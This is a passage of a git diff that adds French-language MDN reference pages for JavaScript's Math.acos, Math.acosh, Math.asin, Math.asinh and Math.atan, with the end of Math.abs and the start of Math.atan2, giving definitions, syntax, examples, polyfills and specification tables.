+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.abs', 'Math.abs')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.abs")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}}</li>
+ <li>{{jsxref("Math.trunc()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/acos/index.html b/files/fr/web/javascript/reference/objets_globaux/math/acos/index.html
new file mode 100644
index 0000000000..b0de810d35
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/acos/index.html
@@ -0,0 +1,103 @@
+---
+title: Math.acos()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/acos
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/acos
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.acos()</strong></code> renvoie l'arc cosinus d'une valeur exprimée en radians. Cela est défini par :</p>
+
+<p><math><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.acos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arccos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> le seul  </mtext><mi>y</mi><mo>∊</mo><mo stretchy="false">[</mo><mn>0</mn><mo>;</mo><mi>π</mi><mo stretchy="false">]</mo><mspace width="thinmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">cos</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-acos.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.acos(<em>x</em>) </pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre (représentant un angle exprimé en radians).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'arc cosinus du nombre passé en argument si celui est compris entre -1 et 1. La méthode renvoie {{jsxref("NaN")}} sinon.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>acos</code> renvoie une valeur numérique comprise entre 0 et Pi pour x compris entre -1 et 1. Si la valeur de <code>x</code> est hors de cet intervalle, la méthode renverra {{jsxref("NaN")}}.</p>
+
+<p><code>acos</code> est une méhode statique de <code>Math</code> et doit toujours être utilisée avec la syntaxe <code>Math.acos()</code>, elle ne doit pas être appelée depuis un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.acos()">Utiliser <code>Math.acos()</code></h3>
+
+<pre class="brush:js">Math.acos(-2);  // NaN
+Math.acos(-1);  // 3.141592653589793
+Math.acos(0);   // 1.5707963267948966
+Math.acos(0.5); // 1.0471975511965979
+Math.acos(1);   // 0
+Math.acos(2);   // NaN
+</pre>
+
+<p>Pour les valeurs (strictement) inférieures à -1 ou supérieures à 1, <code>Math.acos</code> renvoie <code>NaN</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.2', 'Math.acos')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.acos', 'Math.acos')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.acos', 'Math.acos')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.acos")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/acosh/index.html b/files/fr/web/javascript/reference/objets_globaux/math/acosh/index.html
new file mode 100644
index 0000000000..3598039002
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/acosh/index.html
@@ -0,0 +1,100 @@
+---
+title: Math.acosh()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/acosh
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/acosh
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.acosh()</strong></code> renvoie l'arc cosinus hyperbolique d'un nombre.Elle est définie par :</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>≥</mo><mn>1</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.acosh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="thinmathspace">arcosh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> l'unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>≥</mo><mn>0</mn><mspace width="thickmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">cosh</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \geq 1, \mathtt{\operatorname{Math.acosh}(x)} = \operatorname{arcosh}(x) = \text{ the unique } \; y \geq 0 \; \text{such that} \; \cosh(y) = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-acosh.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.acosh(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'arc cosinus hyperbolique du nombre en argument. Si le nombre est inférieur à 1, la valeur renvoyée sera {{jsxref("NaN")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>acos</code>h étant une méthode statique de <code>Math</code>, il faut l'utiliser avec <code>Math.acosh()</code>, plutôt qu'en faisant appel à une méthode d'un autre objet créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_Math.acosh()">Utiliser <code>Math.acosh()</code></h3>
+
+<pre class="brush:js">Math.acosh(-1);  // NaN
+Math.acosh(0);   // NaN
+Math.acosh(0.5); // NaN
+Math.acosh(1);   // 0
+Math.acosh(2);   // 1.3169578969248166</pre>
+
+<p>Pour les valeurs strictement inférieures à 1 <code>Math.acosh</code> renvoie {{jsxref("NaN")}}.</p>
+
+<h2 id="Prothèse_d'émulation_(polyfill)">Prothèse d'émulation (<em>polyfill</em>)</h2>
+
+<p>Pour tout <math><semantics><mrow><mi>x</mi><mo>≥</mo><mn>1</mn></mrow><annotation encoding="TeX">x \geq 1</annotation></semantics></math>, <math><semantics><mrow><mo lspace="0em" rspace="thinmathspace">arcosh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mrow><mo>(</mo><mrow><mi>x</mi><mo>+</mo><msqrt><mrow><msup><mi>x</mi><mn>2</mn></msup><mo>-</mo><mn>1</mn></mrow></msqrt></mrow><mo>)</mo></mrow></mrow><annotation encoding="TeX">\operatorname {arcosh} (x) = \ln \left(x + \sqrt{x^{2} - 1} \right)</annotation></semantics></math>, on peut donc émuler cette fonction avec le code suivant :</p>
+
+<pre class="brush: js">function acosh(x) {
+  return Math.log(x + Math.sqrt(x * x - 1));
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.acosh', 'Math.acosh')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.acosh', 'Math.acosh')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.acosh")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.asinh()")}}</li>
+ <li>{{jsxref("Math.atanh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.sinh()")}}</li>
+ <li>{{jsxref("Math.tanh()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/asin/index.html b/files/fr/web/javascript/reference/objets_globaux/math/asin/index.html
new file mode 100644
index 0000000000..c830fc7b11
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/asin/index.html
@@ -0,0 +1,102 @@
+---
+title: Math.asin()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/asin
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/asin
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.asin()</strong></code> renvoie l'arc sinus d'un nombre (en radians). Elle est définie par :</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.asin</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arcsin</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> le seul </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mrow><mo>[</mo><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac><mo>;</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><mo>]</mo></mrow><mspace width="thinmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">sin</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.asin}(x)} = \arcsin(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \sin(y) = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-asin.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.asin(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'arc sinus du nombre passé en argument (exprimé en radians). Si ce nombre n'est pas compris entre -1 et 1, la valeur renvoyée sera {{jsxref("NaN")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Math.asin()</code> renvoie une valeur numérique comprise entre <math><semantics><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="TeX">-\frac{\pi}{2}</annotation></semantics></math> et <math><semantics><mfrac><mi>π</mi><mn>2</mn></mfrac><annotation encoding="TeX">\frac{\pi}{2}</annotation></semantics></math> pour <code>x</code> compris entre -1 et 1. Si <code>x</code> est hors de cet intervalle, la méthode renverra {{jsxref("NaN")}}.</p>
+
+<p><code>Math.asin()</code> est une méthode statique de <code>Math</code> et doit toujours être utilisée avec la syntaxe <code>Math.asin()</code>, elle ne doit pas être appelée à partir d'un autre objet créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.asin()">Utiliser <code>Math.asin()</code></h3>
+
+<pre class="brush:js">Math.asin(-2);  // NaN
+Math.asin(-1);  // -1.570796326794897 (-pi/2)
+Math.asin(0);   // 0
+Math.asin(0.5); // 0.5235987755982989
+Math.asin(1);   // 1.570796326794897 (pi/2)
+Math.asin(2);   // NaN</pre>
+
+<p>Pour les valeurs (strictement) inférieures à -1 ou supérieures à 1, <code>Math.asin()</code> renvoie {{jsxref("NaN")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.3', 'Math.asin')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.asin', 'Math.asin')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.asin', 'Math.asin')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<div>{{Compat("javascript.builtins.Math.asin")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/asinh/index.html b/files/fr/web/javascript/reference/objets_globaux/math/asinh/index.html
new file mode 100644
index 0000000000..3d0d55ecad
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/asinh/index.html
@@ -0,0 +1,91 @@
+---
+title: Math.asinh()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/asinh
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/asinh
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.asinh()</strong></code> renvoie l'arc sinus hyperbolique d'un nombre :</p>
+
+<p><math><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.asinh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="thinmathspace">arsinh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> le seul </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">sinh</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.asinh}(x)} = \operatorname{arsinh}(x) = \text{ the unique } \; y \; \text{such that} \; \sinh(y) = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-asinh.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.asinh(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'arc sinus hyperbolique du nombre passé en argument.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>asinh()</code> étant une méthode statique de <code>Math</code>, elle doit toujours être utilisée avec la syntaxe <code>Math.asinh()</code> et ne doit pas être appelée depuis un autre objet qui aurait été créé (Math n'est pas un constructeur).</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<h3 id="Utiliser_Math.asinh()">Utiliser <code>Math.asinh()</code></h3>
+
+<pre class="brush: js">Math.asinh = Math.asinh || function(x) {
+  if (x === -Infinity) {
+    return x;
+  } else {
+    return Math.log(x + Math.sqrt(x * x + 1));
+  }
+};
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.asinh', 'Math.asinh')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.asinh', 'Math.asinh')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Math.asinh")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}}</li>
+ <li>{{jsxref("Math.atanh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.sinh()")}}</li>
+ <li>{{jsxref("Math.tanh()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/atan/index.html b/files/fr/web/javascript/reference/objets_globaux/math/atan/index.html
new file mode 100644
index 0000000000..e7392525ab
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/atan/index.html
@@ -0,0 +1,105 @@
+---
+title: Math.atan()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/atan
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.atan()</strong></code> renvoie l'arc tangente d'un nombre exprimée en radians. Elle est définie par :</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.atan</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arctan</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo>le seul<mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mrow><mo>[</mo><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac><mo>;</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><mo>]</mo></mrow><mspace width="thinmathspace"></mspace><mtext>tel que</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">tan</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-atan.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.atan(<var>x</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un nombre.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'arc tangente du nombre passé en argument (exprimé en radians).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>Math.atan()</code> renvoie une valeur numérique comprise entre <math><semantics><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="TeX">-\frac{\pi}{2}</annotation></semantics></math> et <math><semantics><mfrac><mi>π</mi><mn>2</mn></mfrac><annotation encoding="TeX">\frac{\pi}{2}</annotation></semantics></math>.</p>
+
+<p><code>atan()</code> est une méthode statique de <code>Math</code> et doit toujours être utilisée avec la syntaxe <code>Math.atan()</code>, elle ne doit pas être utilisée comme une méthode d'un autre objet qui aurait été créé (<code>Math</code> n'est pas un constructeur).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Math.atan()">Utiliser <code>Math.atan()</code></h3>
+
+<pre class="brush:js">Math.atan(1);  // 0.7853981633974483
+Math.atan(0);  // 0
+Math.atan(-0); // -0
+
+Math.atan(Infinity); // 1.5707963267948966
+Math.atan(-Infinity); // -1.5707963267948966
+
+// L'angle formé entre la droite [(0,0);(x,y)] et l'axe des abscisses
+// dans un système de coordonnées cartésienne
+Math.atan(y / x);
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.4', 'Math.atan')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.atan', 'Math.atan')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.atan', 'Math.atan')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<div>{{Compat("javascript.builtins.Math.atan")}}</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/math/atan2/index.html b/files/fr/web/javascript/reference/objets_globaux/math/atan2/index.html
new file mode 100644
index 0000000000..3c49ff6ba5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/math/atan2/index.html
@@ -0,0 +1,113 @@
+---
+title: Math.atan2()
+slug: Web/JavaScript/Reference/Objets_globaux/Math/atan2
+tags:
+  - JavaScript
+  - Math
+  - Méthode
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan2
+---
+<div>{{JSRef}}</div>
+
+<p>La fonction <code><strong>Math.atan2()</strong></code> renvoie l'arc tangente du quotient de ses arguments.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-atan2.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Math.atan2(<var>y</var>, <var>x</var>) </pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>La coordonnée en abscisse du point.</dd>
+ <dt><code>y</code></dt>
+ <dd>La coordonnée en ordonnée du point.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>L'arc tangente du quotient formé par les deux arguments, c'est-à-dire l'angle, exprimé en radians entre l'axe des abscisses et la droite passant par l'origin (0,0) et le point de coordonnées (x,y).</p>
+
+<h2 id="Description">Description</h2>
+
